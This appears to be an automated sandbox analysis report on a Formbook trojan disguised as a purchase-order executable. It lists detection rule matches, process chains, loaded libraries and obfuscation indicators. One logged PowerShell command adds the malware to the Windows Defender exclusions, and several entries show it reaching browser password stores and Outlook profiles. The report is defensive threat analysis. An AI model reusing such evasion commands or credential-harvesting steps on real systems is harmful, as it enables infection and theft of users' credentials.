Source: 00000008.00000002.4440623367.00000000045A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.4440475032.0000000003810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2119855099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2120310446.00000000014E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4438790270.0000000002810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.4442575534.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2122191823.0000000002E50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: PO Copy_7854569.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, sAQsu8yt6lLQbnQvsb.cs Security API names: _0020.SetAccessControl
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, sAQsu8yt6lLQbnQvsb.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, sAQsu8yt6lLQbnQvsb.cs Security API names: _0020.AddAccessRule
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, EMiiKLWxXWlFcu6Hvp.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, EMiiKLWxXWlFcu6Hvp.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, sAQsu8yt6lLQbnQvsb.cs Security API names: _0020.SetAccessControl
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, sAQsu8yt6lLQbnQvsb.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, sAQsu8yt6lLQbnQvsb.cs Security API names: _0020.AddAccessRule
Source: 0.2.PO Copy_7854569.exe.7680000.10.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: 0.2.PO Copy_7854569.exe.357b6e0.6.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: 0.2.PO Copy_7854569.exe.322382c.3.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: 0.2.PO Copy_7854569.exe.3213820.5.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@12/7@23/10
Source: C:\Users\user\Desktop\PO Copy_7854569.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO Copy_7854569.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5036:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hbsyqs0r.n3f.ps1 Jump to behavior
Source: PO Copy_7854569.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PO Copy_7854569.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\PO Copy_7854569.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: openfiles.exe, 00000008.00000003.2570582633.0000000002B89000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2573170813.0000000002BB3000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2570681130.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4439171150.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4439171150.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: PO Copy_7854569.exe Virustotal: Detection: 45%
Source: PO Copy_7854569.exe ReversingLabs: Detection: 68%
Source: unknown Process created: C:\Users\user\Desktop\PO Copy_7854569.exe "C:\Users\user\Desktop\PO Copy_7854569.exe"
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PO Copy_7854569.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Users\user\Desktop\PO Copy_7854569.exe "C:\Users\user\Desktop\PO Copy_7854569.exe"
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Users\user\Desktop\PO Copy_7854569.exe "C:\Users\user\Desktop\PO Copy_7854569.exe"
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"
Source: C:\Windows\SysWOW64\openfiles.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PO Copy_7854569.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Users\user\Desktop\PO Copy_7854569.exe "C:\Users\user\Desktop\PO Copy_7854569.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Users\user\Desktop\PO Copy_7854569.exe "C:\Users\user\Desktop\PO Copy_7854569.exe" Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe" Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: PO Copy_7854569.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: PO Copy_7854569.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: OpnFiles.pdb source: PO Copy_7854569.exe, 00000006.00000002.2120087862.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000003.2528143516.000000000069B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000002.4439886342.0000000000AEE000.00000002.00000001.01000000.0000000C.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000000.2205683578.0000000000AEE000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: wntdll.pdbUGP source: PO Copy_7854569.exe, 00000006.00000002.2120419715.0000000001600000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2141673668.000000000469F000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.0000000004850000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2120507310.00000000044EB000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.00000000049EE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: PO Copy_7854569.exe, PO Copy_7854569.exe, 00000006.00000002.2120419715.0000000001600000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 00000008.00000003.2141673668.000000000469F000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.0000000004850000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2120507310.00000000044EB000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.00000000049EE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: OpnFiles.pdbGCTL source: PO Copy_7854569.exe, 00000006.00000002.2120087862.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000003.2528143516.000000000069B000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: PO Copy_7854569.exe, GameOfLife.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: PO Copy_7854569.exe, GameOfLife.cs .Net Code: InitializeComponent contains xor as well as GetObject
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, sAQsu8yt6lLQbnQvsb.cs .Net Code: gvJ09pWBa8 System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO Copy_7854569.exe.31f6410.4.raw.unpack, LoginForm.cs .Net Code: _206B_206C_202A_202D_206F_206F_206C_202D_206A_202A_200B_206C_206E_206A_206D_206B_202C_206E_200C_206F_200D_206D_200C_200F_202C_206C_202E_206B_202B_202E_206E_206B_206B_206D_206C_202C_200D_202E_202C_200E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO Copy_7854569.exe.7560000.9.raw.unpack, LoginForm.cs .Net Code: _206B_206C_202A_202D_206F_206F_206C_202D_206A_202A_200B_206C_206E_206A_206D_206B_202C_206E_200C_206F_200D_206D_200C_200F_202C_206C_202E_206B_202B_202E_206E_206B_206B_206D_206C_202C_200D_202E_202C_200E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, sAQsu8yt6lLQbnQvsb.cs .Net Code: gvJ09pWBa8 System.Reflection.Assembly.Load(byte[])
Source: 8.2.openfiles.exe.4e7cd08.2.raw.unpack, GameOfLife.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 8.2.openfiles.exe.4e7cd08.2.raw.unpack, GameOfLife.cs .Net Code: InitializeComponent contains xor as well as GetObject
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00413F07 push 2F12636Bh; retf 6_2_00413F68
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00407043 push esp; ret 6_2_00407044
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00414087 push esi; ret 6_2_0041411F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00417891 push esi; ret 6_2_00417892
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_004140BC push esi; ret 6_2_0041411F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00414121 push esi; ret 6_2_0041411F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00402139 pushad ; ret 6_2_0040214B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0042CAC3 pushfd ; retf 6_2_0042CAFE
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00405BED push ebp; retf 6_2_00405BF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0041DC6B push esi; iretd 6_2_0041DC74
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00403410 push eax; ret 6_2_00403412
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0040743D push ebx; retf 6_2_00407445
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00417515 push ebx; ret 6_2_0041751C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00411D3F push es; retf 6_2_00411D46
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00413EA9 push edx; retf 6_2_00413EAA
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0160225F pushad ; ret 6_2_016027F9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016027FA pushad ; ret 6_2_016027F9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016309AD push ecx; mov dword ptr [esp], ecx 6_2_016309B6
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0160283D push eax; iretd 6_2_01602858
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01601328 push eax; iretd 6_2_01601369
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0388EBBA push esp; ret 7_2_0388EBBB
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038A61BB push ebp; retf 7_2_038A61BC
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0389F08C push ebx; ret 7_2_0389F093
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038998B6 push es; retf 7_2_038998BD
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_03810000 push esp; retf 7_2_03810001
